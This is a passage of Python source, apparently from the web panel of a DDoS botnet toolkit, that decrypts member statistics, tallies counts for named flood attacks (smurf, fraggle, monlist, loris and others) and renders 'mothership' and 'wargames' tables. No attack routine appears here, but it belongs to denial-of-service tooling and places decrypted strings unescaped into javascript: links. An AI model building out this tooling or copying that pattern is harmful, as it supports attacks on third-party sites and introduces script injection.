  6744. grid_ufosyn = nodec_text
  6745. self.decryptedtext = "" # clean decryptedtext buffer
  6746. try: # parse for int
  6747. grid_ufosyn = int(grid_ufosyn)
  6748. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  6749. except:
  6750. grid_ufosyn = nodec_text
  6751. if version > 17 or version == 17 or version == 16 or version == 15:
  6752. grid_spray = m[11] # spray
  6753. self.decrypt(grid_key, grid_spray)
  6754. if self.decryptedtext:
  6755. grid_spray = self.decryptedtext
  6756. else:
  6757. grid_spray = nodec_text
  6758. self.decryptedtext = "" # clean decryptedtext buffer
  6759. try: # parse for int
  6760. grid_spray = int(grid_spray)
  6761. mothership_spray = mothership_spray + grid_spray
  6762. except:
  6763. grid_spray = nodec_text
  6764. else:
  6765. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
  6766. self.decrypt(grid_key, grid_spray)
  6767. if self.decryptedtext:
  6768. grid_spray = self.decryptedtext
  6769. else:
  6770. grid_spray = nodec_text
  6771. self.decryptedtext = "" # clean decryptedtext buffer
  6772. try: # parse for int
  6773. grid_spray = int(grid_spray)
  6774. mothership_spray = mothership_spray + grid_spray
  6775. except:
  6776. grid_spray = nodec_text
  6777. if version > 17 or version == 17 or version == 16 or version == 15:
  6778. grid_smurf = m[12] # smurf
  6779. self.decrypt(grid_key, grid_smurf)
  6780. if self.decryptedtext:
  6781. grid_smurf = self.decryptedtext
  6782. else:
  6783. grid_smurf = nodec_text
  6784. self.decryptedtext = "" # clean decryptedtext buffer
  6785. try: # parse for int
  6786. grid_smurf = int(grid_smurf)
  6787. mothership_smurf = mothership_smurf + grid_smurf
  6788. except:
  6789. grid_smurf = nodec_text
  6790. else:
  6791. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  6792. self.decrypt(grid_key, grid_smurf)
  6793. if self.decryptedtext:
  6794. grid_smurf = self.decryptedtext
  6795. else:
  6796. grid_smurf = nodec_text
  6797. self.decryptedtext = "" # clean decryptedtext buffer
  6798. try: # parse for int
  6799. grid_smurf = int(grid_smurf)
  6800. mothership_smurf = mothership_smurf + grid_smurf
  6801. except:
  6802. grid_smurf = nodec_text
  6803. if version > 17 or version == 17 or version == 16 or version == 15:
  6804. grid_xmas = m[13] # xmas
  6805. self.decrypt(grid_key, grid_xmas)
  6806. if self.decryptedtext:
  6807. grid_xmas = self.decryptedtext
  6808. else:
  6809. grid_xmas = nodec_text
  6810. self.decryptedtext = "" # clean decryptedtext buffer
  6811. try: # parse for int
  6812. grid_xmas = int(grid_xmas)
  6813. mothership_xmas = mothership_xmas + grid_xmas
  6814. except:
  6815. grid_xmas = nodec_text
  6816. else:
  6817. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  6818. self.decrypt(grid_key, grid_xmas)
  6819. if self.decryptedtext:
  6820. grid_xmas = self.decryptedtext
  6821. else:
  6822. grid_xmas = nodec_text
  6823. self.decryptedtext = "" # clean decryptedtext buffer
  6824. try: # parse for int
  6825. grid_xmas = int(grid_xmas)
  6826. mothership_xmas = mothership_xmas + grid_xmas
  6827. except:
  6828. grid_xmas = nodec_text
  6829. if version > 17 or version == 17 or version == 16:
  6830. grid_nuke = m[14] # nuke
  6831. self.decrypt(grid_key, grid_nuke)
  6832. if self.decryptedtext:
  6833. grid_nuke = self.decryptedtext
  6834. else:
  6835. grid_nuke = nodec_text
  6836. self.decryptedtext = "" # clean decryptedtext buffer
  6837. try: # parse for int
  6838. grid_nuke = int(grid_nuke)
  6839. mothership_nuke = mothership_nuke + grid_nuke
  6840. except:
  6841. grid_nuke = nodec_text
  6842. else:
  6843. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
  6844. self.decrypt(grid_key, grid_nuke)
  6845. if self.decryptedtext:
  6846. grid_nuke = self.decryptedtext
  6847. else:
  6848. grid_nuke = nodec_text
  6849. self.decryptedtext = "" # clean decryptedtext buffer
  6850. try: # parse for int
  6851. grid_nuke = int(grid_nuke)
  6852. mothership_nuke = mothership_nuke + grid_nuke
  6853. except:
  6854. grid_nuke = nodec_text
  6855. if version > 17 or version == 17:
  6856. grid_tachyon = m[15] # tachyon
  6857. self.decrypt(grid_key, grid_tachyon)
  6858. if self.decryptedtext:
  6859. grid_tachyon = self.decryptedtext
  6860. else:
  6861. grid_tachyon = nodec_text
  6862. self.decryptedtext = "" # clean decryptedtext buffer
  6863. try: # parse for int
  6864. grid_tachyon = int(grid_tachyon)
  6865. mothership_tachyon = mothership_tachyon + grid_tachyon
  6866. except:
  6867. grid_tachyon = nodec_text
  6868. else:
  6869. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not tachyon present
  6870. self.decrypt(grid_key, grid_tachyon)
  6871. if self.decryptedtext:
  6872. grid_tachyon = self.decryptedtext
  6873. else:
  6874. grid_tachyon = nodec_text
  6875. self.decryptedtext = "" # clean decryptedtext buffer
  6876. try: # parse for int
  6877. grid_tachyon = int(grid_tachyon)
  6878. mothership_tachyon = mothership_tachyon + grid_tachyon
  6879. except:
  6880. grid_tachyon = nodec_text
  6881. if version > 17:
  6882. grid_monlist = m[16] # monlist
  6883. self.decrypt(grid_key, grid_monlist)
  6884. if self.decryptedtext:
  6885. grid_monlist = self.decryptedtext
  6886. else:
  6887. grid_monlist = nodec_text
  6888. self.decryptedtext = "" # clean decryptedtext buffer
  6889. try: # parse for int
  6890. grid_monlist = int(grid_monlist)
  6891. mothership_monlist = mothership_monlist + grid_monlist
  6892. except:
  6893. grid_monlist = nodec_text
  6894. grid_fraggle = m[17] # fraggle
  6895. self.decrypt(grid_key, grid_fraggle)
  6896. if self.decryptedtext:
  6897. grid_fraggle = self.decryptedtext
  6898. else:
  6899. grid_fraggle = nodec_text
  6900. self.decryptedtext = "" # clean decryptedtext buffer
  6901. try: # parse for int
  6902. grid_fraggle = int(grid_fraggle)
  6903. mothership_fraggle = mothership_fraggle + grid_fraggle
  6904. except:
  6905. grid_fraggle = nodec_text
  6906. grid_sniper = m[18] # sniper
  6907. self.decrypt(grid_key, grid_sniper)
  6908. if self.decryptedtext:
  6909. grid_sniper = self.decryptedtext
  6910. else:
  6911. grid_sniper = nodec_text
  6912. self.decryptedtext = "" # clean decryptedtext buffer
  6913. try: # parse for int
  6914. grid_sniper = int(grid_sniper)
  6915. mothership_sniper = mothership_sniper + grid_sniper
  6916. except:
  6917. grid_sniper = nodec_text
  6918. grid_ufoack = m[19] # ufoack
  6919. self.decrypt(grid_key, grid_ufoack)
  6920. if self.decryptedtext:
  6921. grid_ufoack = self.decryptedtext
  6922. else:
  6923. grid_ufoack = nodec_text
  6924. self.decryptedtext = "" # clean decryptedtext buffer
  6925. try: # parse for int
  6926. grid_ufoack = int(grid_ufoack)
  6927. mothership_ufoack = mothership_ufoack + grid_ufoack
  6928. except:
  6929. grid_ufoack = nodec_text
  6930. grid_uforst = m[20] # uforst
  6931. self.decrypt(grid_key, grid_uforst)
  6932. if self.decryptedtext:
  6933. grid_uforst = self.decryptedtext
  6934. else:
  6935. grid_uforst = nodec_text
  6936. self.decryptedtext = "" # clean decryptedtext buffer
  6937. try: # parse for int
  6938. grid_uforst = int(grid_uforst)
  6939. mothership_uforst = mothership_uforst + grid_uforst
  6940. except:
  6941. grid_uforst = nodec_text
  6942. grid_droper = m[21] # droper
  6943. self.decrypt(grid_key, grid_droper)
  6944. if self.decryptedtext:
  6945. grid_droper = self.decryptedtext
  6946. else:
  6947. grid_droper = nodec_text
  6948. self.decryptedtext = "" # clean decryptedtext buffer
  6949. try: # parse for int
  6950. grid_droper = int(grid_droper)
  6951. mothership_droper = mothership_droper + grid_droper
  6952. except:
  6953. grid_droper = nodec_text
  6954. grid_overlap = m[22] # overlap
  6955. self.decrypt(grid_key, grid_overlap)
  6956. if self.decryptedtext:
  6957. grid_overlap = self.decryptedtext
  6958. else:
  6959. grid_overlap = nodec_text
  6960. self.decryptedtext = "" # clean decryptedtext buffer
  6961. try: # parse for int
  6962. grid_overlap = int(grid_overlap)
  6963. mothership_overlap = mothership_overlap + grid_overlap
  6964. except:
  6965. grid_overlap = nodec_text
  6966. grid_pinger = m[23] # pinger
  6967. self.decrypt(grid_key, grid_pinger)
  6968. if self.decryptedtext:
  6969. grid_pinger = self.decryptedtext
  6970. else:
  6971. grid_pinger = nodec_text
  6972. self.decryptedtext = "" # clean decryptedtext buffer
  6973. try: # parse for int
  6974. grid_pinger = int(grid_pinger)
  6975. mothership_pinger = mothership_pinger + grid_pinger
  6976. except:
  6977. grid_pinger = nodec_text
  6978. grid_ufoudp = m[24] # ufoudp
  6979. self.decrypt(grid_key, grid_ufoudp)
  6980. if self.decryptedtext:
  6981. grid_ufoudp = self.decryptedtext
  6982. else:
  6983. grid_ufoudp = nodec_text
  6984. self.decryptedtext = "" # clean decryptedtext buffer
  6985. try: # parse for int
  6986. grid_ufoudp = int(grid_ufoudp)
  6987. mothership_ufoudp = mothership_ufoudp + grid_ufoudp
  6988. except:
  6989. grid_ufoudp = nodec_text
  6990. else:
  6991. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not monlist present
  6992. self.decrypt(grid_key, grid_monlist)
  6993. if self.decryptedtext:
  6994. grid_monlist = self.decryptedtext
  6995. else:
  6996. grid_monlist = nodec_text
  6997. self.decryptedtext = "" # clean decryptedtext buffer
  6998. try: # parse for int
  6999. grid_monlist = int(grid_monlist)
  7000. mothership_monlist = mothership_monlist + grid_monlist
  7001. except:
  7002. grid_monlist = nodec_text
  7003. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not fraggle present
  7004. self.decrypt(grid_key, grid_fraggle)
  7005. if self.decryptedtext:
  7006. grid_fraggle = self.decryptedtext
  7007. else:
  7008. grid_fraggle = nodec_text
  7009. self.decryptedtext = "" # clean decryptedtext buffer
  7010. try: # parse for int
  7011. grid_fraggle = int(grid_fraggle)
  7012. mothership_fraggle = mothership_fraggle + grid_fraggle
  7013. except:
  7014. grid_fraggle = nodec_text
  7015. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not sniper present
  7016. self.decrypt(grid_key, grid_sniper)
  7017. if self.decryptedtext:
  7018. grid_sniper = self.decryptedtext
  7019. else:
  7020. grid_sniper = nodec_text
  7021. self.decryptedtext = "" # clean decryptedtext buffer
  7022. try: # parse for int
  7023. grid_sniper = int(grid_sniper)
  7024. mothership_sniper = mothership_sniper + grid_sniper
  7025. except:
  7026. grid_sniper = nodec_text
  7027. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufoack present
  7028. self.decrypt(grid_key, grid_ufoack)
  7029. if self.decryptedtext:
  7030. grid_ufoack = self.decryptedtext
  7031. else:
  7032. grid_ufoack = nodec_text
  7033. self.decryptedtext = "" # clean decryptedtext buffer
  7034. try: # parse for int
  7035. grid_ufoack = int(grid_ufoack)
  7036. mothership_ufoack = mothership_ufoack + grid_ufoack
  7037. except:
  7038. grid_ufoack = nodec_text
  7039. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not uforst present
  7040. self.decrypt(grid_key, grid_uforst)
  7041. if self.decryptedtext:
  7042. grid_uforst = self.decryptedtext
  7043. else:
  7044. grid_uforst = nodec_text
  7045. self.decryptedtext = "" # clean decryptedtext buffer
  7046. try: # parse for int
  7047. grid_uforst = int(grid_uforst)
  7048. mothership_uforst = mothership_uforst + grid_uforst
  7049. except:
  7050. grid_uforst = nodec_text
  7051. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not droper present
  7052. self.decrypt(grid_key, grid_droper)
  7053. if self.decryptedtext:
  7054. grid_droper = self.decryptedtext
  7055. else:
  7056. grid_droper = nodec_text
  7057. self.decryptedtext = "" # clean decryptedtext buffer
  7058. try: # parse for int
  7059. grid_droper = int(grid_droper)
  7060. mothership_droper = mothership_droper + grid_droper
  7061. except:
  7062. grid_droper = nodec_text
  7063. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not overlap present
  7064. self.decrypt(grid_key, grid_overlap)
  7065. if self.decryptedtext:
  7066. grid_overlap = self.decryptedtext
  7067. else:
  7068. grid_overlap = nodec_text
  7069. self.decryptedtext = "" # clean decryptedtext buffer
  7070. try: # parse for int
  7071. grid_overlap = int(grid_overlap)
  7072. mothership_overlap = mothership_overlap + grid_overlap
  7073. except:
  7074. grid_overlap = nodec_text
  7075. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not pinger present
  7076. self.decrypt(grid_key, grid_pinger)
  7077. if self.decryptedtext:
  7078. grid_pinger = self.decryptedtext
  7079. else:
  7080. grid_pinger = nodec_text
  7081. self.decryptedtext = "" # clean decryptedtext buffer
  7082. try: # parse for int
  7083. grid_pinger = int(grid_pinger)
  7084. mothership_pinger = mothership_pinger + grid_pinger
  7085. except:
  7086. grid_pinger = nodec_text
  7087. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufoudp present
  7088. self.decrypt(grid_key, grid_ufoudp)
  7089. if self.decryptedtext:
  7090. grid_ufoudp = self.decryptedtext
  7091. else:
  7092. grid_ufoudp = nodec_text
  7093. self.decryptedtext = "" # clean decryptedtext buffer
  7094. try: # parse for int
  7095. grid_ufoudp = int(grid_ufoudp)
  7096. mothership_ufoudp = mothership_ufoudp + grid_ufoudp
  7097. except:
  7098. grid_ufoudp = nodec_text
  7099. if version == 26:
  7100. grid_contact = m[25] # contact
  7101. self.decrypt(grid_key, grid_contact)
  7102. if self.decryptedtext:
  7103. grid_contact = self.decryptedtext
  7104. else:
  7105. grid_contact = nodec_text
  7106. self.decryptedtext = "" # clean decryptedtext buffer
  7107. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[25] = grid_contact (>str3<str120)
  7108. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7109. else:
  7110. try:
  7111. if " " in grid_contact: # m[25] = grid_contact
  7112. grid_contact = grid_contact.replace(" ","")
  7113. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  7114. except:
  7115. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7116. try:
  7117. grid_id = m[26] # id
  7118. except:
  7119. grid_id = '6666666666666666666666666666666666666' # fake id
  7120. elif version == 17:
  7121. grid_contact = m[16] # contact
  7122. self.decrypt(grid_key, grid_contact)
  7123. if self.decryptedtext:
  7124. grid_contact = self.decryptedtext
  7125. else:
  7126. grid_contact = nodec_text
  7127. self.decryptedtext = "" # clean decryptedtext buffer
  7128. grid_contact = str(grid_contact) # contact
  7129. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[16] = grid_contact (>str3<str120)
  7130. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7131. else:
  7132. try:
  7133. if " " in grid_contact: # m[16] = grid_contact
  7134. grid_contact = grid_contact.replace(" ","")
  7135. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  7136. except:
  7137. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7138. try:
  7139. grid_id = m[17] # id
  7140. except:
  7141. grid_id = '6666666666666666666666666666666666666' # fake id
  7142. elif version == 16:
  7143. grid_contact = m[15] # contact
  7144. self.decrypt(grid_key, grid_contact)
  7145. if self.decryptedtext:
  7146. grid_contact = self.decryptedtext
  7147. else:
  7148. grid_contact = nodec_text
  7149. self.decryptedtext = "" # clean decryptedtext buffer
  7150. grid_contact = str(grid_contact) # contact
  7151. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[15] = grid_contact (>str3<str120)
  7152. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7153. else:
  7154. try:
  7155. if " " in grid_contact: # m[15] = grid_contact
  7156. grid_contact = grid_contact.replace(" ","")
  7157. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  7158. except:
  7159. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7160. try:
  7161. grid_id = m[16] # id
  7162. except:
  7163. grid_id = '6666666666666666666666666666666666666' # fake id
  7164. elif version == 15:
  7165. grid_contact = m[14] # contact
  7166. self.decrypt(grid_key, grid_contact)
  7167. if self.decryptedtext:
  7168. grid_contact = self.decryptedtext
  7169. else:
  7170. grid_contact = nodec_text
  7171. self.decryptedtext = "" # clean decryptedtext buffer
  7172. grid_contact = str(grid_contact) # contact
  7173. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[14] = grid_contact (>str3<str120)
  7174. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7175. else:
  7176. try:
  7177. if " " in grid_contact: # m[14] = grid_contact
  7178. grid_contact = grid_contact.replace(" ","")
  7179. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  7180. except:
  7181. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7182. try:
  7183. grid_id = m[15] # id
  7184. except:
  7185. grid_id = '6666666666666666666666666666666666666' # fake id
  7186. elif version == 12:
  7187. grid_contact = m[11] # contact
  7188. self.decrypt(grid_key, grid_contact)
  7189. if self.decryptedtext:
  7190. grid_contact = self.decryptedtext
  7191. else:
  7192. grid_contact = nodec_text
  7193. self.decryptedtext = "" # clean decryptedtext buffer
  7194. grid_contact = str(grid_contact) # contact
  7195. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[11] = grid_contact (>str3<str120)
  7196. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7197. else:
  7198. try:
  7199. if " " in grid_contact: # m[11] = grid_contact
  7200. grid_contact = grid_contact.replace(" ","")
  7201. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  7202. except:
  7203. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7204. try:
  7205. grid_id = m[12] # id
  7206. except:
  7207. grid_id = '6666666666666666666666666666666666666' # fake id
  7208. elif version == 11:
  7209. grid_contact = m[10] # contact
  7210. self.decrypt(grid_key, grid_contact)
  7211. if self.decryptedtext:
  7212. grid_contact = self.decryptedtext
  7213. else:
  7214. grid_contact = nodec_text
  7215. self.decryptedtext = "" # clean decryptedtext buffer
  7216. grid_contact = str(grid_contact) # contact
  7217. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[10] = grid_contact (>str3<str120)
  7218. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7219. else:
  7220. try:
  7221. if " " in grid_contact: # m[10] = grid_contact
  7222. grid_contact = grid_contact.replace(" ","")
  7223. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  7224. except:
  7225. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7226. try:
  7227. grid_id = m[11] # id
  7228. except:
  7229. grid_id = '6666666666666666666666666666666666666' # fake id
  7230. elif version == 10:
  7231. grid_contact = m[9] # contact
  7232. self.decrypt(grid_key, grid_contact)
  7233. if self.decryptedtext:
  7234. grid_contact = self.decryptedtext
  7235. else:
  7236. grid_contact = nodec_text
  7237. self.decryptedtext = "" # clean decryptedtext buffer
  7238. grid_contact = str(grid_contact) # contact
  7239. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[9] = grid_contact (>str3<str120)
  7240. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7241. else:
  7242. try:
  7243. if " " in grid_contact: # m[9] = grid_contact
  7244. grid_contact = grid_contact.replace(" ","")
  7245. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  7246. except:
  7247. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7248. try:
  7249. grid_id = m[10] # id
  7250. except:
  7251. grid_id = '6666666666666666666666666666666666666' # fake id
  7252. else:
  7253. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7254. grid_id = '6666666666666666666666666666666666666' # fake id
  7255. try: # parsing for valid stream struct
  7256. grid_ranking = str(grid_ranking)
  7257. if grid_ranking == nodec_text: # hide any data when user is encrypted
  7258. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>"
  7259. grid_table += "<tr><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
  7260. else:
  7261. grid_table += "<tr><td align='center'>"+str(grid_nickname)+"</td><td align='center'>"+str(grid_ranking)+"</td><td align='center'>"+str(grid_totalchargo)+"</td><td align='center'>"+str(grid_dorking)+"</td><td align='center'>"+str(grid_transferred)+"</td><td align='center'>"+str(grid_maxchargo)+"</td><td align='center'>"+str(grid_missions)+"</td><td align='center'>"+str(grid_attacks)+"</td><td align='center'>"+str(grid_loic)+"</td><td align='center'>"+str(grid_loris)+"</td><td align='center'>"+str(grid_ufosyn)+"</td><td align='center'>"+str(grid_spray)+"</td><td align='center'>"+str(grid_smurf)+"</td><td align='center'>"+str(grid_xmas)+"</td><td align='center'>"+str(grid_nuke)+"</td><td align='center'>"+str(grid_tachyon)+"</td><td align='center'>"+str(grid_monlist)+"</td><td align='center'>"+str(grid_fraggle)+"</td><td align='center'>"+str(grid_sniper)+"</td><td align='center'>"+str(grid_ufoack)+"</td><td align='center'>"+str(grid_uforst)+"</td><td align='center'>"+str(grid_droper)+"</td><td align='center'>"+str(grid_overlap)+"</td><td align='center'>"+str(grid_pinger)+"</td><td align='center'>"+str(grid_ufoudp)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
  7262. except:
  7263. grid_table += "<tr><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td></tr>"
  7264. grid_table += "</table><br>"
  7265. l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time
  7266. mother_table = "<center><u>MOTHERSHIP STATS:</u> (Last Update: <font color='green'>"+str(l)+"</font>)</center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td><font color='green'>MEMBERS:</font></td><td align='right'><font color='green'>"+str(mothership_members)+"</font></td><td><font color='orange' size='4'>-</font></td><td align='right'><font color='orange' size='4'>"+str(unknown_members)+"</font></td><td><font color='white' size='4'>*</font></td><td align='right'><font color='white' size='4'>"+str(member_1)+"</font></td><td><font color='cyan' size='4'>**</font></td><td align='right'><font color='cyan' size='4'>"+str(member_2)+"</font></td><td><font color='blueviolet' size='4'>***</font></td><td align='right'><font color='blueviolet' size='4'>"+str(member_3)+"</font></td><td><font color='blue' size='4'>****</font></td><td align='right'><font color='blue' size='4'>"+str(member_4)+"</font></td><td><font color='red' size='4'>&#x25BC;</font></td><td align='right'><font color='red' size='4'>"+str(member_5)+"</font></td></tr></table><br><table cellpadding='5' cellspacing='5' border='1'><tr><td>MISSIONS:</td><td align='right'>"+str(mothership_missions)+"</td><td>ATTACKS:</td><td align='right'>"+str(mothership_attacks)+"</td><td>CHARGO (ACTIVE!):</td><td align='right'>"+str(mothership_chargo)+"</td><td>DORKING:</td><td align='right'>"+str(mothership_dorking)+"</td><td>TRANSF:</td><td align='right'>"+str(mothership_transferred)+"</td><td>MAX.CHARGO:</td><td align='right'>"+str(mothership_maxchargo)+"</td></tr></table><br><table cellpadding='5' cellspacing='5' border='1'><tr><td>LOIC:</td><td align='right'>"+str(mothership_loic)+"</td><td>LORIS:</td><td align='right'>"+str(mothership_loris)+"</td><td>UFOSYN:</td><td align='right'>"+str(mothership_ufosyn)+"</td><td>SPRAY:</td><td align='right'>"+str(mothership_spray)+"</td><td>SMURF:</td><td align='right'>"+str(mothership_smurf)+"</td></tr><tr><td>XMAS:</td><td align='right'>"+str(mothership_xmas)+"</td><td>NUKE:</td><td align='right'>"+str(mothership_nuke)+"</td><td>TACHYON:</td><td align='right'>"+str(mothership_tachyon)+"</td><td>MONLIST:</td><td align='right'>"+str(mothership_monlist)+"</td></tr><tr><td>FRAGGLE:</td><td align='right'>"+str(mothership_fraggle)+"</td><td>SNIPER:</td><td align='right'>"+str(mothership_sniper)+"</td><td>UFOACK:</td><td align='right'>"+str(mothership_ufoack)+"</td><td>UFORST:</td><td align='right'>"+str(mothership_uforst)+"</td></tr><tr><td>DROPER:</td><td align='right'>"+str(mothership_droper)+"</td><td>OVERLAP:</td><td align='right'>"+str(mothership_overlap)+"</td><td>PINGER:</td><td align='right'>"+str(mothership_pinger)+"</td><td>UFOUDP:</td><td align='right'>"+str(mothership_ufoudp)+"</td></tr></table><br><hr><br>"
  7267. f.write(mother_table)
  7268. f.write(grid_table)
  7269. f.write(end_mark)
  7270. f.close()
  7271. else: # not valid stream data
  7272. pass
  7273. if page == "/cmd_decrypt_grid_update":
  7274. if not os.path.exists('/tmp/out'):
  7275. open('/tmp/out', 'w').close()
  7276. with open('/tmp/out', 'r') as f:
  7277. self.pages["/cmd_decrypt_grid_update"] = "<pre>"+f.read()+"<pre>"
  7278. if page == "/cmd_decrypt_wargames":
  7279. self.pages["/cmd_decrypt_wargames"] = "<pre>Waiting for decrypting results...</pre>"
  7280. wargames_join_flag = False # anti-join flag for non decrypted wargames
  7281. try:
  7282. wargames_deckey = pGet["wargames_deckey"]
  7283. except:
  7284. wargames_deckey = ""
  7285. end_mark = "[Info] [AI] End of decryption."
  7286. if wargames_deckey != "": # wargames decryption
  7287. nodec_text = "KEY?"
  7288. try: # read global army supply from configuration file (json)
  7289. with open(self.mothership_supplycfg_file) as data_file:
  7290. data = json.load(data_file)
  7291. except:
  7292. if os.path.exists(self.mothership_supplycfg_file) == True:
  7293. print('[Error] [AI] Cannot open: "core/json/supplycfg.json" -> [Aborting!]\n')
  7294. return
  7295. else: # generate default global army supply configuration file
  7296. print('[Info] [AI] Cannot found: "core/json/supplycfg.json" -> [Generating!]')
  7297. with open(self.mothership_supplycfg_file, "w") as f:
  7298. json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0, "spray": 0, "smurf": 0, "xmas": 0, "nuke": 0, "tachyon": 0, "monlist": 0, "fraggle": 0, "sniper": 0, "ufoack": 0, "uforst": 0, "droper": 0, "overlap": 0, "pinger": 0, "ufoudp": 0}, f, indent=4)
  7299. with open(self.mothership_supplycfg_file) as data_file:
  7300. data = json.load(data_file)
  7301. self.supply_botnet = data["botnet"]
  7302. self.supply_loic = data["loic"]
  7303. self.supply_loris = data["loris"]
  7304. self.supply_ufosyn = data["ufosyn"]
  7305. self.supply_spray = data["spray"]
  7306. self.supply_smurf = data["smurf"]
  7307. self.supply_xmas = data["xmas"]
  7308. self.supply_nuke = data["nuke"]
  7309. self.supply_tachyon = data["tachyon"]
  7310. self.supply_monlist = data["monlist"]
  7311. self.supply_fraggle = data["fraggle"]
  7312. self.supply_sniper = data["sniper"]
  7313. self.supply_ufoack = data["ufoack"]
  7314. self.supply_uforst = data["uforst"]
  7315. self.supply_droper = data["droper"]
  7316. self.supply_overlap = data["overlap"]
  7317. self.supply_pinger = data["pinger"]
  7318. self.supply_ufoudp = data["ufoudp"]
  7319. f = open(self.wargames_file,"r")
  7320. ls = f.readlines()
  7321. f.close()
  7322. if ls:
